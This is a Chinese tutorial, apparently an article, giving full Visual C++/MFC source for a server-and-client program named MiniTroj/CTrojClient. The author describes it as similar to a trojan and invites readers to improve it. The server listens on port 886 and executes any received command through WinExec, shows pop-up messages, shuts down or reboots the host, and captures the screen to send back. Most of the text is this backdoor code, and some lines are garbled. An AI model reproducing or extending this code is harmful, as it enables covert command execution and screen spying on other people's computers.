VC编写网络远程控制程序
基于网络的远程控制是网络管理员和黑客都非常关注的网络技术。在美好的网络化社会中远程控制是技术核心,比如将来可以一边坐在办公室里工作,一边通过网络打开家里的电饭锅做饭。简单的说,网络远程控制技术就是可以由一台联网(互联网或局域网)的主机来操纵联网的另一台或多台主机。网络管理员用它来实现网络的远程管理,黑客用它来占用别人的主机资源。网络远程控制实现的基础就是基于网络技术开发的客户端(client/服务器(server)程序,程序执行后,由客户端来操作服务器完成客户端的请求。
一、服务器程序
VC下新建一个基于对话框的工程MiniTrojDlg,要选择支持Winsock,然后在工程中加入自己从Csocket派生的两个类CLisenSocketCClientSocketCLisenSocket类用于建立监听的SocketCClientSocket类用于建立通信的SocketCLisenSocket类对虚函数OnAccept()进行重载。CClientSocket类对虚函数OnReceive()进行重载。在程序中建立一个用于监听指定端口的Socket,当有客户端请求到达后,再新建一个用于通信的Socket与客户端Socket建立连接,处理客户端请求。如果客户端请求为发送消息,则通过MessageBox函数显示该消息;如果客户端请求为执行命令,则调用WinExec函数执行相应命令;如果客户端请求为截取屏幕,
则获取桌面窗口DC并用DIBAPI中函数获取图象并存为DIB对象,通过与客户端建立的连接将此DIB对象发送到客户端显示。
相关核心代码如下,详细代码请参见源程序。
ClisenSocket.h代码如下:
class CMiniTrojDlg;
// LisenSocket command target
class LisenSocket : public CSocket
{
// Attributes
public:
// Operations
public:
LisenSocket(CWnd *pWnd);
virtual ~LisenSocket();
// Overrides
public:
// ClassWizard generated virtual function overrides
//{{AFX_VIRTUAL(LisenSocket)
public:
virtual void OnAccept(int nErrorCode);
//}}AFX_VIRTUAL
// Generated message map functions
//{{AFX_MSG(LisenSocket)
// NOTE - the ClassWizard will add and remove member functions here.
//}}AFX_MSG
// Implementation
protected:
private:
CMiniTrojDlg *m_pWnd;
};
socket通信为什么要指定端口
ClisenSocket.cpp代码如下:
LisenSocket::LisenSocket(CWnd *pWnd)
{
m_pWnd=(CMiniTrojDlg *)pWnd;
}
LisenSocket::~LisenSocket()
{
}
// Do not edit the following lines, which are needed by ClassWizard.
#if 0
BEGIN_MESSAGE_MAP(LisenSocket, CSocket)
//{{AFX_MSG_MAP(LisenSocket)
//}}AFX_MSG_MAP
END_MESSAGE_MAP()
#endif // 0
/
/ LisenSocket member functions
void LisenSocket::OnAccept(int nErrorCode)
{
m_pWnd->ProcessPendingAccept();
CSocket::OnAccept(nErrorCode);
}
CclientSocket.h代码如下:
class CMiniTrojDlg;
// CClientSocket command target
class CClientSocket : public CSocket
{
// Attributes
public:
// Operations
public:
CClientSocket(CWnd *pWnd);
virtual ~CClientSocket();
// Overrides
public:
// ClassWizard generated virtual function overrides
//{{AFX_VIRTUAL(CClientSocket)
public:
virtual void OnReceive(int nErrorCode);
//}}AFX_VIRTUAL
// Generated message map functions
//{{AFX_MSG(CClientSocket)
// NOTE - the ClassWizard will add and remove member functions here.
//}}AFX_MSG
// Implementation
protected:
private:
CMiniTrojDlg *m_pWnd;
};
CclientSocket.cpp代码如下:
CClientSocket::CClientSocket(CWnd *pWnd)
{
m_pWnd=(CMiniTrojDlg *)pWnd;
}
CClientSocket::~CClientSocket()
{
}
// Do not edit the following lines, which are needed by ClassWizard.

#if 0
BEGIN_MESSAGE_MAP(CClientSocket, CSocket)
/
/{{AFX_MSG_MAP(CClientSocket)
//}}AFX_MSG_MAP
END_MESSAGE_MAP()
#endif // 0
// CClientSocket member functions
void CClientSocket::OnReceive(int nErrorCode)
{
m_pWnd->ProcessPendingRead();
CSocket::OnReceive(nErrorCode);
}
CminiTrojDlg.cpp中添加以下代码:
BOOL CMiniTrojDlg::OnInitDialog()
{ // 系统初始化
CDialog::OnInitDialog();
SetIcon(m_hIcon, TRUE);
SetIcon(m_hIcon, FALSE);
m_nPort=886;
pLisen=new LisenSocket(this);
if(!pLisen->Create(m_nPort))
{
AfxMessageBox(IDS_CREATEFAILED);
}
else if(!pLisen->Listen()){
AfxMessageBox(IDS_LISTENFAILED);
}
else
return TRUE;
//Ok,服务器正在帧听...
arIn=NULL;
arOut=NULL;
return TRUE;
}
// -- 在此函数接收客户程序的连接请求 --
void CMiniTrojDlg::ProcessPendingAccept()
{
pClient=new CClientSocket(this);
if(pLisen->Accept(*pClient))
{
Socketfile=new CSocketFile(pClient);
arIn=new CArchive(Socketfile,CArchive::load);
arOut=new CArchive(Socketfile,CArchive::store);
}
else{
delete pClient;
pClient=NULL;
}
}
// -- 在此函数接收客户程序发送的数据 --
void CMiniTrojDlg::ProcessPendingRead()
{
CString TempReceive;
if(arIn->IsBufferEmpty())
{
*arIn>>TempReceive;
if(TempReceive.Left(1)=='m')
{ //接收的是消息
TempReceive.Delete(0,2);
MessageBox(TempReceive,"提示信息",MB_OK);
}
else if(TempReceive.Left(1)=='c')
{ //接收的是命令
TempReceive.Delete(0,2);
WinExec(TempReceive,NULL);
}
else if(TempReceive.Left(1)=='g')
{ //接收的是关机命令
::ExitWindowsEx(EWX_POWEROFF,0);
}
else if(TempReceive.Left(1)=='r')
{ //接收的是注销命令
::ExitWindowsEx(EWX_REBOOT,0);
}
else
{ //接收的是捕获屏幕命令
CWnd * m_pWnd=GetForegroundWindow();
ASSERT(m_pWnd!=NULL);
CDC * pdc_Showed=m_pWnd->GetDC();
CRect rect;
m_pWnd->GetClientRect(rect);
int height,width,i,j;
height=rect.Height();
width=rect.Width();
LPSTR lpDIBCopy;
HDIB m_CopyDIB=CreateDIB(width,height,8);
lpDIBCopy=(LPSTR) ::GlobalLock((HGLOBAL)m_CopyDIB);
BITMAPINFO * bminfo=(BITMAPINFO *)lpDIBCopy;
for(i=0;i<=255;i++){
bminfo->bmiColors.rgbBlue=i;
bminfo-&bRed=i;
bminfo-&bGreen=i;
bminfo-&bReserved=0;
}
LPSTR lpDIBCopyBits=::FindDIBBits(lpDIBCopy);
int tWidthBytes=WIDTHBYTES(width*8);
COLORREF bmpdat;
unsigned char pixel;
for(i=0;i<height;i++){
for(j=0;j<width;j++){
bmpdat=pdc_Showed->GetPixel(j,height-i);
pixel=(unsigned char)((float)GetBValue(bmpdat)*0.299+(float)GetGValue(bmpdat)*0.587+(float)GetRValue(bmpdat)*0.114);
lpDIBCopyBits[i*tWidthBytes+j]=pixel;
}
}
*arOut<<height;
*arOut<<width;
arOut->Write(lpDIBCopy,(54+256*4+height*width));
arOut->Flush();
}}}

二、客户端程序
VC下新建一个基于对话框的工程CTrojClient,也要选择支持WinSock,然后在工程中加入自己从Csocket派生的类CClientSocket,此类与服务器程序中建立的CclientSocket类相同。其界面如下:
CTrojClent.h文件中添加以下代码:
public:
CClientSocket * SendSocket;
CArchive *arIn,*arSend;
CSocketFile *Socketfile;
UINT m_nPort;
CString MessageCommand;
void Send(CString IpAddress,CString CommMess);
void ProcessPendingRead();
HDIB m_DIB;
LPSTR lpDIB;
CTrojClent.cpp文件中添加以下代码:
BOOL CTrojClientDlg::OnInitDialog()
{
CDialog::OnInitDialog();
m_nPort=886;
SendSocket=NULL;
arSend=NULL;
Socketfile=NULL;
MessageCommand="";
m_DIB=NULL;
return TRUE;
}
void CTrojClientDlg::Send(CString IpAddress,CString CommMess)
{
SendSocket=new CClientSocket(this);
if(!SendSocket->Create())
{
AfxMessageBox(IDS_CREATEFAILED);
return;
}
else if(!SendSocket->Connect((LPCTSTR)IpAddress,m_nPort))
{
AfxMessageBox(IDS_RETRYCONNECT);
return;
}
else{
Socketfile=new CSocketFile(SendSocket);
arSend=new CArchive(Socketfile,CArchive::store);
arIn=new CArchive(Socketfile,CArchive::load);
}
*arSend<<CommMess;
arSend->Flush();
}
//此处处理服务器送来的屏幕信息
void CTrojClientDlg::ProcessPendingRead()
{
int height,width;
*arIn>>height;
*arIn>>width;
m_DIB=CreateDIB(width,height,8);// 创建新DIB
lpDIB=(LPSTR) ::GlobalLock((HGLOBAL)m_DIB);
arIn->Read(lpDIB,54+1024+height*width);
Invalidate();
}
void CTrojClientDlg::OnPaint()
{
if(m_DIB==NULL)
CDialog::OnPaint();
else
{
CWnd* pWnd = GetDlgItem(IDC_Image);
//获取绘制屏幕的窗口
CDC* pDC = pWnd->GetDC(); // 取设备上下文指针
CRect mRect;
pWnd->GetClientRect(&mRect);
pWnd->Invalidate();
pWnd->UpdateWindow();
CRect DIBRect;
p=DIBRect.left=0;
DIBRect.right=(int)DIBWidth(lpDIB);
DIBRect.bottom=(int)DIBHeight(lpDIB);
CPalette * m_palDIB;
m_palDIB = new CPalette;
// 创建新调板
if (m_palDIB == NULL)
{// 判断是否创建成功
::GlobalFree((HGLOBAL) m_DIB);// 失败,可能是内存不足
m_DIB = NULL;
return; // 返回
}
if (::CreateDIBPalette(m_DIB, m_palDIB) == NULL)
{//返回空,可能该DIB对象没有调板
delete m_palDIB;// 删除
m_palDIB = NULL;// 设置为空
return;// 返回
}
::PaintDIB(pDC->m_hDC,&mRect,m_DIB,&DIBRect,m_palDIB);
ReleaseDC(pDC);
CDialog::OnPaint();
}}
对各个按钮增加响应函数如下:
void CTrojClientDlg::OnSendMessage()
{
MessageCommand="m:"+m_Message; // 加上消息标志
Send(m_IpAddress,MessageCommand); // 发送出去
m_Message="";
UpdateData(false);
}
void CTrojClientDlg::OnSendCommand()
{
MessageCommand="c:"+m_Command; // 加上命令标志
Send(m_IpAddress,MessageCommand); // 发送出去
m_Command="";
UpdateData(false);
}
void CTrojClientDlg::OnRemoteShut()
{
MessageCommand="g:关机 ";// ,ExitWindows";远程关机命令
Send(m_IpAddress,MessageCommand);
}
void CTrojClientDlg::OnCapScreen()
{
MessageCommand="s:capture screen";
Send(m_IpAddress,MessageCommand);
}
void CTrojClientDlg::OnRemoteReset()
{
MessageCommand="r:重启 ";
Send(m_IpAddress,MessageCommand);
}

三、结束语
上述程序均在Win98/2000下调试通过,只不过关机与重启函数在不同操作系统下不太一致。其中截取屏幕所用到的图象函数采用的是DIBAPI中的函数,需向工程中添加DIBAPI.hDIBAPI.cpp文件。本程序类似于一个木马,但远不如黑客们做的那么专业,有兴趣的朋友可以加以改进。